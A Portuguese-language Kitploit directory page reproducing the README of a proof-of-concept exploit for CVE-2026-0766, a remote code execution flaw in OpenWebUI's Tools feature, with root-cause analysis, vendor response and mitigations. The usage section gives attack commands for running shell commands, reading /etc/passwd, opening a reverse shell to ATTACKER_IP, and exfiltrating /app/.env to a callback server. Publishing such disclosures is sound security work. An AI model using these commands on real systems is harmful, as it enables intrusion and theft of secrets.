Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0766 — Prova de conceito de exploit para CVE-2026-0766, uma vulnerabilidade de execução remota de código no OpenWebUI por meio de injeção de código em ferramentas. Inclui modos de execução de comandos, leitura de arquivos, shell reverso e exfiltração cega. | Kitploit
Ferramentas/GitHubGitHub/bitt0n/cve-2026-0766
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Prova de conceito de exploit para CVE-2026-0766, uma vulnerabilidade de execução remota de código no OpenWebUI por meio de injeção de código em ferramentas. Inclui modos de execução de comandos, leitura de arquivos, shell reverso e exfiltração cega.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0766: Execução Remota de Código no OpenWebUI

Repositório Educacional de Pesquisa em Segurança

Este repositório contém código de exploração de prova de conceito para CVE-2026-0766, uma vulnerabilidade de execução remota de código no OpenWebUI descoberta e publicada pela Zero Day Initiative (ZDI).


⚠️ Aviso Legal

Este repositório destina-se exclusivamente a testes de segurança autorizados e fins educacionais.

  • Use este código para testar seus próprios sistemas ou sistemas para os quais você tenha autorização explícita para testar
  • Use isto para aprender sobre vulnerabilidades de segurança em plataformas de LLM
  • ❌ Nunca use isto contra sistemas sem permissão explícita
  • ❌ Acesso não autorizado a sistemas de computador é ilegal

O autor não assume responsabilidade pelo uso indevido deste código. Os usuários são os únicos responsáveis por garantir que suas atividades estejam em conformidade com todas as leis e regulamentos aplicáveis.


📋 Visão Geral da Vulnerabilidade

PropriedadeValor
ID CVECVE-2026-0766
Descoberta PorZero Day Initiative (ZDI)
Software AfetadoOpenWebUI
Tipo de VulnerabilidadeInjeção de Código (CWE-94)
Pontuação CVSS8.8 ALTA
Vetor CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Complexidade do AtaqueBaixa (administrador autenticado ou usuário com permissão de criação/atualização de ferramentas pode explorar)

O que é o OpenWebUI?

O OpenWebUI é uma interface web auto-hospedada para Modelos de Linguagem de Grande Porte (LLMs). Ele fornece uma experiência semelhante ao ChatGPT que as organizações podem executar em sua própria infraestrutura, mantendo conversas e dados de LLM no local (on-premises).

A Vulnerabilidade

O OpenWebUI inclui um recurso "Ferramentas" (Tools) que permite aos usuários estender as capacidades do LLM enviando código Python. Este código é executado no lado do servidor via função exec() do Python sem qualquer sandboxing, validação ou controles de segurança.

Fluxo de exploração:

  1. Usuário autenticado cria uma "Ferramenta" via POST /api/v1/tools/create
  2. O código Python fornecido pelo usuário é armazenado no campo content
  3. O servidor chama exec(content, module.__dict__) em utils/plugin.py
  4. Código Python arbitrário é executado com privilégios totais do servidor
  5. O atacante alcança Execução Remota de Código (RCE)

Insight principal: O código é executado no momento da criação da ferramenta, não quando o LLM invoca a ferramenta. Isso significa que simplesmente criar uma ferramenta maliciosa aciona a RCE — nenhuma interação adicional é necessária.

Versões Testadas

Este exploit foi verificado em:

  • OpenWebUI v0.8.10 - Vulnerável ✅ (testado em 2026-03-28)

A vulnerabilidade é arquitetural (uso inseguro de exec() em entrada do usuário) e existe em todas as versões até que um patch de segurança seja lançado pela equipe do OpenWebUI.


🔍 Detalhes Técnicos

Causa Raiz

A vulnerabilidade existe em backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Pré-processamento mínimo (NÃO é um controle de segurança)
    content = replace_imports(content)

    # Cria módulo e executa código do usuário
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← VULNERABILIDADE

    return module

A função replace_imports() apenas reescreve caminhos de importação (cosmético) — ela não restringe qual código pode ser executado. Não há:

  • ❌ Sandboxing (nenhum ambiente de execução restrito)
  • ❌ Validação de código (nenhuma inspeção de AST ou lista de permissões)
  • ❌ Verificações de permissão (todos os usuários autenticados podem criar ferramentas por padrão)
  • ❌ Separação de privilégios (o código é executado como a conta de serviço do OpenWebUI)

Resposta do Fornecedor

A equipe do OpenWebUI inicialmente avaliou isto como baixa prioridade, observando que a criação de ferramentas requer permissões de administrador. No entanto:

  1. A delegação de permissões é comum - Muitas implantações concedem criação de ferramentas a usuários avançados, administradores de workspace e desenvolvedores
  2. Contas de administrador comprometidas - Phishing, preenchimento de credenciais e comprometimento de SSO podem dar acesso de administrador a atacantes
  3. Violação de defesa em profundidade - Mesmo ações de administrador devem ser restritas; execução irrestrita de código quebra o princípio do menor privilégio
  4. Utilidade pós-comprometimento - Esta vulnerabilidade é valiosa em cadeias de ataque após o acesso inicial

Após o fornecedor propor que administradores deveriam gerenciar isto com acesso restrito, a ZDI publicou isto como uma vulnerabilidade 0-day (ZDI-26-032) para informar os defensores.

O autor respeita os desafios de manter projetos de código aberto. A correção de segurança exige equilibrar necessidades dos usuários, restrições arquiteturais e recursos limitados. Esta publicação visa ajudar equipes de segurança a avaliar riscos e implementar mitigações.


🛠️ Prova de Conceito

Instalação

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Uso

O script de exploit (exploit.py) suporta múltiplos modos de ataque:

1. Execução de Comandos

Execute comandos do sistema operacional e recupere a saída:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Leitura de Arquivos

Leia arquivos do sistema de arquivos do servidor:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Reverse Shell

Abra um reverse shell (requer listener netcat):

root@kitploit:~
# Na máquina do atacante:
nc -lvnp 4444

# Execute o exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Exfiltração Cega

Envie a saída do comando para um servidor de callback HTTP:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Autenticação

O script aceita tanto tokens JWT (de login SSO) quanto chaves de API:

Obtendo um token JWT:

  1. Faça login no OpenWebUI normalmente (SSO ou autenticação local)
  2. Abra o DevTools do navegador (F12)
  3. Encontre seu token:
    • Aba Cookies: Procure o valor do cookie token
    • Aba Network: Copie o cabeçalho Authorization: Bearer ... de qualquer requisição de API
    • Console: Execute localStorage.getItem("token")
  4. Passe o token para o script: --token eyJhbGci...

🔐 Mitigações

Para Defensores

Se você executa o OpenWebUI e não pode corrigir imediatamente:

  1. Restrinja permissões de criação de ferramentas apenas a administradores altamente confiáveis
  2. Audite ferramentas existentes em busca de código malicioso (verifique o conteúdo das ferramentas no banco de dados)
  3. Execute o OpenWebUI com privilégios mínimos (conta de serviço dedicada, sistema de arquivos somente leitura quando possível)
  4. Implemente filtragem de egresso de rede (o contêiner não deve ter acesso de saída arbitrário)
  5. Monitore criação suspeita de ferramentas (fique atento a ferramentas criadas fora dos fluxos de trabalho normais)

Correções Recomendadas (para mantenedores)

  1. Substitua exec() por uma alternativa segura:

    • Use RestrictedPython para execução em sandbox
    • Analise o AST do Python e valide contra uma lista de permissões de operações seguras
    • Execute o código da ferramenta em contêineres isolados (gVisor, Firecracker)
  2. Adicione verificações de permissão:

    • Exija aprovação do administrador para novas ferramentas
    • Implemente controle de acesso baseado em funções para criação de ferramentas
    • Adicione fluxo de trabalho de revisão de código antes que as ferramentas se tornem ativas
  3. Defesa em profundidade:

    • Execute ferramentas em processos separados com filtragem de syscalls (seccomp)
    • Limite o acesso ao sistema de arquivos a somente leitura
    • Remova acesso à rede do ambiente de execução de ferramentas

📚 Referências

  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • Advisory ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • Advisory de Segurança GitHub: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Injeção de Código): https://cwe.mitre.org/data/definitions/94.html
  • Injeção de Código OWASP: https://owasp.org/www-community/attacks/Code_Injection

🙏 Créditos

  • Descoberta da Vulnerabilidade: Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • Pesquisa de Exploração e Desenvolvimento do PoC: Pradeep Pillai (@bitt0n)

📜 Licença

Licença MIT - Consulte o arquivo LICENSE para detalhes.

Este código é fornecido para fins educacionais e de segurança defensiva. O autor não é responsável pelo uso indevido.


🤝 Divulgação Responsável

Esta vulnerabilidade foi divulgada de forma responsável:

  1. A ZDI descobriu e relatou a vulnerabilidade ao OpenWebUI
  2. Período de divulgação coordenada foi fornecido ao fornecedor para correção
  3. O fornecedor recusou corrigir (avaliou como risco aceitável)
  4. A ZDI publicou como 0-day para informar a comunidade de segurança
  5. Este PoC foi publicado pós-divulgação para ajudar defensores a avaliar riscos

Se você descobrir vulnerabilidades de segurança em projetos de código aberto, siga práticas de divulgação responsável e dê tempo aos mantenedores para corrigir antes da divulgação pública.


Para perguntas ou feedback: Abra uma issue neste repositório.

Baixar ferramenta